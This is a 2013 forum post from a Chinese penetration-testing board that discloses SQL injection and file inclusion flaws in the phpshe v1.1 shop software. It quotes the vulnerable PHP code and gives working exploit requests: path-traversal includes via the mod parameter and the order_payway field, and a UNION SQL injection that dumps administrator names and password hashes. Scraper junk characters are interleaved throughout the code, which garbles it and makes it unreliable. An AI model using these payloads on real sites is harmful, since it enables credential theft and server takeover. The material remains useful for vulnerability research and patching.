中国网络渗透测试联盟

标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell [打印本页]

作者: admin    时间: 2013-4-19 19:01
标题: phpshe v1.1多处SQL注入和文件包含漏洞Getshell
/*******************************************************/
" K7 f0 Y& J2 F! l% |# b/* Phpshe v1.1 Vulnerability" K! L$ {( f, L( l* M! i
/* ========================: z0 s. g; h3 b' {
/* By: : Kn1f3! y- r0 g: _, X
/* E-Mail : 681796@qq.com
' e4 j* N' [* R! o/*******************************************************/0 }7 E+ @: k, p+ ]
0×00 整体大概参数传输+ u! G/ y% e. ]

7 z2 F& m9 [, E5 u/ h/ s% [6 B" O, ^" D: z6 u
: N; f! R$ a4 Z; \
//common.php, K! f8 w! t$ I8 H1 t0 G$ Y; z& T
if (get_magic_quotes_gpc()) {/ G7 c( K& U. }. j
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');: d+ i- G" d7 n+ J3 K$ K
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');$ ?; h* ]3 L/ m" y* U& V8 ^- k
}  W+ G! e7 ?/ I, c) R8 y
else {
. b' M3 F0 n! r* J0 {6 Y!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');; y5 G( O: n) k3 P1 w7 k$ U
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');  U1 O0 I/ M" J+ {2 F& D
}
8 E  V7 |6 `7 d; o; e' U/ m5 Xsession_start();
/ l  g* x2 H" Y2 c8 @* x!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');; [  p9 |. E( m5 T0 O
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
8 q9 i' ~: c# r6 `& l
" f3 y& ?' p; w( W0×01 包含漏洞
! A2 |0 E* ?. r( n9 j  }( F
' K1 `# [; ?( J" j( U  \6 I+ e, W
4 u# [7 y- ?! I- U
//首页文件7 ^, w" v2 ]! [% [
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
# W8 d% i5 b& j% \: F( y) Einclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
+ \2 ^; Z9 A) T2 Dpe_result();, J  j9 d4 e. _0 m8 W2 M2 ^  S
?>
# t* \, k' E4 B6 q& }//common 文件 第15行开始# G% V# d9 s) M9 t3 D- H# [5 e7 x
url路由配置
' A3 C; o0 H; w* T$module = $mod = $act = 'index';
/ v) q7 |8 i& B$ |: C- R$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
4 f6 _% C- X; V' X- q3 g$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);3 s% [1 m/ u! r4 i5 ~
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
, ^# {$ l* [2 A7 S4 b( u: D$ e//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00# [% X  e+ |' u1 l) s2 Z; P' z3 d


1 f. x$ i6 B' Y- S! N0 ]1 m& v 6 ~1 y! }7 Q) m5 G9 L( ?
0×02 搜索注入' f6 {* m7 @  O) B7 m( K
: \: h; Q- @* w7 ^0 h9 Q- O
<code id="code2">

//product.php文件: @8 v8 e) m( U( i! k' H
case 'list':
6 q4 i" t* W" m+ f& b$category_id = intval($id);
. b: f* Y! l( o. |0 v5 E$info = $db->pe_select('category', array('category_id'=>$category_id));/ Z: y2 \2 M5 q
//搜索3 n5 i7 e& ]  z- g
$sqlwhere = " and `product_state` = 1";
2 F2 r2 r+ P% M6 qpe_lead('hook/category.hook.php');$ E* V% c& ?/ q* R8 Y; X3 K
if ($category_id) {' U  Y0 d1 ?5 p& Z8 a$ Y
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
7 K9 o  ?, B' L% M  H' A) m}
2 L& _  ~. n6 }, @: J8 k& a  t1 H$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤) y7 |( [* H" [, K4 {6 c/ I
if ($_g_orderby) {) T& [7 @( D; W% y8 Y) s" ^
$orderby = explode('_', $_g_orderby);
- t7 u% T% x3 O6 M9 l6 e% l$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
1 \/ @' Q& {3 l- r}
$ i# j. N, p/ }! q. }% p% \3 Felse {
: f9 N9 e: M) H$sqlwhere .= " order by `product_id` desc";
: `# }9 N8 P  R}7 g+ C% v: o. y. y5 r4 j* m
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
, ?9 k' K5 v/ ?4 @, B6 ?//热卖排行
: Y8 o  Q8 n( ^3 ]5 V$product_hotlist = product_hotlist();
0 {5 d6 \& E' R& d2 Q* j1 Z8 Y//当前路径6 }- y( f& a+ s' u3 t! o" _6 z
$nowpath = category_path($category_id);8 n& b, o9 N2 m2 N( Y0 P* C' V
$seo = pe_seo($info['category_name']);
. Z$ R, o1 \  Pinclude(pe_tpl('product_list.html'));6 w1 N8 G5 j2 }0 t' M8 C
//跟进selectall函数库/ H7 F& M8 P$ `8 W
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
! M) w& P" w* T$ f) R# l{
3 G/ x- M, T: Q5 j# z! \- T' P//处理条件语句
2 l9 T) D8 ?2 W$sqlwhere = $this->_dowhere($where);' n8 u: v& p/ w- h' J9 i* g- E
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
" {3 c. q; y3 h& [}* S! M! }) p4 ~; l
//exp& {! [& h1 Q' g
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='16 M, F* {. _1 {0 v9 X0 L

</code>! L: @- _" \+ Z% G4 }0 m% |. p, ]
! x0 e$ G* U7 g! A( I- C5 e1 ]
0×03 包含漏洞27 A9 N0 ~. y) r
1 I( O9 G* R9 i( |. E4 l- E
<code id="code3">

//order.php

case 'pay':

0 ~8 l0 k" ~" Z% H( t; a
$order_id = pe_dbhold($_g_id);

0 w5 N0 S! T$ f0 b# G
$cache_payway = cache::get('payway');

  `3 l9 Y) t5 P! G+ D- m
foreach($cache_payway as $k => $v) {


7 e0 `8 U1 c# z" i5 [$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

2 C- W. b5 f  t' o% N: Z2 D& s
if ($k == 'bank') {

  |, H+ C; ~7 \' M4 K4 V
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

' z1 |8 ]! Q3 x
}

- A. N: L% d( J0 V. b
}

$ r) S: C* V: G" j; E1 m, {
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


8 L( l) r; D" a! u/ D1 ^!$order['order_id'] && pe_error('订单号错误...');


9 A2 V0 o/ @2 x) u# [8 H. h% @3 b4 g4 Mif (isset($_p_pesubmit)) {


5 C: n# m2 y7 N" l( Qif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


& i& B, d) w( q/ J- j$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

7 w3 |* i2 ]# s! W" b: E
foreach ($info_list as $v) {

* K9 [; R6 W# T3 f- Z1 K5 b( o' z; a
$order['order_name'] .= "{$v['product_name']};";! N  q; K) X5 L: L4 B

, |# r6 a# g% q) Z9 O* O
}


# [2 b$ T. D9 q- d# hecho '正在为您连接支付网站,请稍后...';


3 E$ M# o( l0 Tinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


- _7 K7 Y* W6 w+ @9 T! S}//当一切准备好的时候就可以进行"鸡肋包含了"

9 j. }6 v, D, |& u
else {

# D0 |& L0 ]+ B& R0 W# A( e
pe_error('支付错误...');

8 a. L, `9 G, I" O& b* y
}


. {3 g- X0 f+ o, q, {/ B/ Y}

+ v* j* a( O  @/ t; x7 L. p
$seo = pe_seo('选择支付方式');

5 N; B/ A3 ^# t
include(pe_tpl('order_pay.html'));

$ V2 A6 l2 w; W6 q1 S; U) z7 M
break;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>+ k" U2 Q  _. _+ G6 R





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2